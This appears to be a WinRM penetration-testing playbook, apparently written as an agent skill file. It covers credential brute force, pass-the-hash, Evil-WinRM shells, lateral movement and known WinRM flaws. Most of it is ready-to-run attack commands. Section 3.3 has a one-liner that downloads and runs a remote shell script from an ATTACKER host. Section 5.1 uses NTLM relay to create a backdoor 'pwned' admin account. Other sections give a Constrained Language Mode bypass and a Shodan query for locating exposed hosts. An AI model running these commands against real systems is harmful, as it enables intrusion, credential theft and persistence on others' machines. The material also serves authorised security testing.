winrm-pentesting

WinRM Penetration Testing Methodology (5985/5986)

In-depth Reference

• WinRM authentication methods, Evil-WinRM advanced usage, COM object exploitation, vulnerability details -> read references/winrm-techniques.md

---

Overall Decision Tree

发现 5985/5986 端口开放
├─ Phase 1: 服务发现
│   ├─ 确认 WinRM 可用: Test-WSMan / curl 探测
│   ├─ HTTP (5985) vs HTTPS (5986) -> 影响攻击面
│   └─ 版本与协议信息
├─ Phase 2: 凭据测试
│   ├─ 密码 -> crackmapexec / Evil-WinRM
│   ├─ NTLM 哈希 -> Pass-the-Hash (Evil-WinRM -H)
│   ├─ Kerberos 票据 -> Evil-WinRM -k
│   └─ 证书 -> Evil-WinRM --cert-pem / --key-pem
├─ Phase 3: 远程执行
│   ├─ PowerShell Remoting (Invoke-Command / Enter-PSSession)
│   ├─ Evil-WinRM 交互 shell
│   └─ WSMan.Automation COM 对象 (绕过 CLM)
├─ Phase 4: Evil-WinRM 高级功能
│   ├─ 文件上传/下载
│   ├─ 加载 .NET 程序集 (Invoke-Binary)
│   ├─ 加载 PowerShell 脚本 (-s 参数)
│   └─ Kerberos / 证书认证
├─ Phase 5: 横向移动
│   ├─ NTLM Relay -> WinRM (ntlmrelayx.py -t wsman://)
│   ├─ 从已控主机 PS-Remoting 到其他主机
│   └─ WSMan COM 横向移动 (绕过 CLM)
└─ Phase 6: 已知漏洞
    ├─ OMIGOD CVE-2021-38647 (Azure OMI unauthenticated RCE)
    ├─ NTLM Relay to WS-MAN (Impacket 0.11+)
    └─ WSMan.Automation COM 滥用

---

Phase 1: Service Discovery

1.1 Confirm WinRM Availability

# PowerShell 测试
Test-WSMan <target-ip>

# Nmap 探测
nmap -sV -p 5985,5986 <IP>

# NXC (NetExec) 快速检查
nxc winrm <IP>

1.2 Port Description

Port	Protocol	Description
5985	HTTP	WinRM default HTTP port
5986	HTTPS	WinRM default HTTPS port

Key Judgment：

• HTTP (5985) open -> larger NTLM Relay attack surface
• HTTPS only (5986) -> need to focus on certificate authentication

---

Phase 2: Credential Testing

2.1 Credential Verification and Brute Force

# crackmapexec / nxc — 验证凭据
crackmapexec winrm <IP> -d <Domain> -u <username> -p <password>
crackmapexec winrm <IP> -d <Domain> -u <username> -H <HASH>

# 带命令执行验证
crackmapexec winrm <IP> -d <Domain> -u <username> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain> -u <username> -H <HASH> -X '$PSVersionTable'

# 批量爆破
crackmapexec winrm <IP> -d <Domain> -u usernames.txt -p passwords.txt

Warning: WinRM brute force may trigger account lockout policies, use with caution.

2.2 Credential Testing Decision Tree

凭据类型
├─ 明文密码
│   ├─ crackmapexec winrm <IP> -u <user> -p <pass>
│   └─ evil-winrm -i <IP> -u <user> -p <pass>
├─ NTLM 哈希
│   ├─ crackmapexec winrm <IP> -u <user> -H <hash>
│   └─ evil-winrm -i <IP> -u <user> -H <hash>
├─ Kerberos 票据
│   └─ evil-winrm -i <IP> -u <user> -k --spn HTTP/<IP>
├─ 证书 (AD CS)
│   └─ evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem
└─ 无凭据
    └─ 爆破 -> crackmapexec winrm <IP> -u users.txt -p pass.txt

---

Phase 3: Remote Execution

3.1 PowerShell Remoting

# 远程执行单条命令
Invoke-Command -ComputerName <target> -ScriptBlock {ipconfig /all} [-Credential DOMAIN\user]

# 执行本地函数到远程
Invoke-Command -ComputerName <target> -ScriptBlock ${function:enumeration} [-ArgumentList "args"]

# 执行脚本文件
Invoke-Command -ComputerName <target> -FilePath C:\path\to\script.ps1

# 获取交互式 PS Session
Enter-PSSession -ComputerName <target> [-Credential $creds]

# 带代理绕过的会话
Enter-PSSession -ComputerName <target> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)

3.2 Credential Object Construction

$password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $password)

Enter-PSSession -ComputerName <target> -Credential $creds

3.3 Reverse Shell

Invoke-Command -ComputerName <target> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/shell.ps1')"}

---

Phase 4: Evil-WinRM Advanced Features

4.1 Basic Connection

# 密码认证
evil-winrm -i <IP> -u <username> -p <password>

# Pass-the-Hash
evil-winrm -i <IP> -u <username> -H <hash>

# Kerberos 认证 (v3.x)
evil-winrm -i <IP> -u <user> -k --spn HTTP/<IP>

# 证书认证 (v3.x)
evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem

4.2 Advanced Features

# 加载 PowerShell 脚本目录
evil-winrm -i <IP> -u <user> -p <pass> -s /path/to/scripts/
# 在 shell 中: menu -> Invoke-Script.ps1

# 加载 .NET 可执行文件
evil-winrm -i <IP> -u <user> -p <pass> -e /path/to/binaries/
# 在 shell 中: menu -> Invoke-Binary SharpHound.exe

# 文件上传/下载
upload /local/path /remote/path
download C:\remote\path /local/path

# 会话日志
evil-winrm -i <IP> -u <user> -p <pass> -L

---

Phase 5: Lateral Movement

5.1 NTLM Relay to WinRM

When the target exposes WinRM on HTTP (5985), SYSTEM-level command execution can be obtained via NTLM relay.

# Impacket 0.11+ (2023)
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
                   --command "net user pwned P@ssw0rd! /add"

5.2 WSMan.Automation COM Lateral Movement

Bypassing PowerShell restrictions under Constrained Language Mode (CLM):

$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)

5.3 PS Session Saving and Reuse

# 保存会话到变量
$sess = New-PSSession -ComputerName <target> [-Credential $creds]
Enter-PSSession -Session $sess

# 后台会话
Exit-PSSession

# 在会话中加载脚本
Invoke-Command -FilePath C:\path\to\script.ps1 -Session $sess

---

Phase 6: Known Vulnerabilities

6.1 Vulnerability Detection Decision Tree

WinRM 环境分析
├─ Azure Linux VM (OMI 端口 5985/5986)
│   └─ CVE-2021-38647 (OMIGOD) — OMI < 1.6.8-1 未认证 RCE (root)
│       ├─ 检测: curl http://target:5985/wsman -H 'Content-Type:text/xml'
│       └─ 修复: 升级 OMI >= 1.6.8-1 / 防火墙封锁端口
├─ HTTP (5985) 暴露
│   └─ NTLM Relay 到 WS-MAN
│       ├─ 结合 mitm6 / Responder 捕获 NTLM
│       └─ ntlmrelayx -t wsman://target
├─ Constrained Language Mode 环境
│   └─ WSMan.Automation COM 滥用绕过
└─ 配置审计
    ├─ EnableCompatibilityHttpListener = true -> Relay 风险
    └─ AllowUnencrypted = true -> 凭据明文传输

---

Configuration and Defense Checks

After gaining access, check the WinRM configuration:

# 检查 WinRM 配置
winrm get winrm/config
winrm get winrm/config/service

# 关键配置项
# AllowUnencrypted: 是否允许明文传输
# EnableCompatibilityHttpListener: HTTP 兼容监听器
# TrustedHosts: 受信主机列表

Configuration Item	Risk Description
AllowUnencrypted = true	Credentials transmitted in plaintext
EnableCompatibilityHttpListener = true	Expands Relay attack surface
TrustedHosts = *	Allows connections from any host
EPA (Extended Protection) not enabled	NTLM Relay feasible

---

Alternative Tools

Tool	Purpose
Evil-WinRM	Most commonly used WinRM shell (Ruby)
pypsrp	Python WinRM/PS-Remoting (supports CredSSP/Kerberos)
SharpWSManWinRM	.NET WSMan COM lateral movement
PS-Docker	docker run -it quickbreach/powershell-ntlm Quick PS environment

Shodan Search

port:5985 Microsoft-HTTPAPI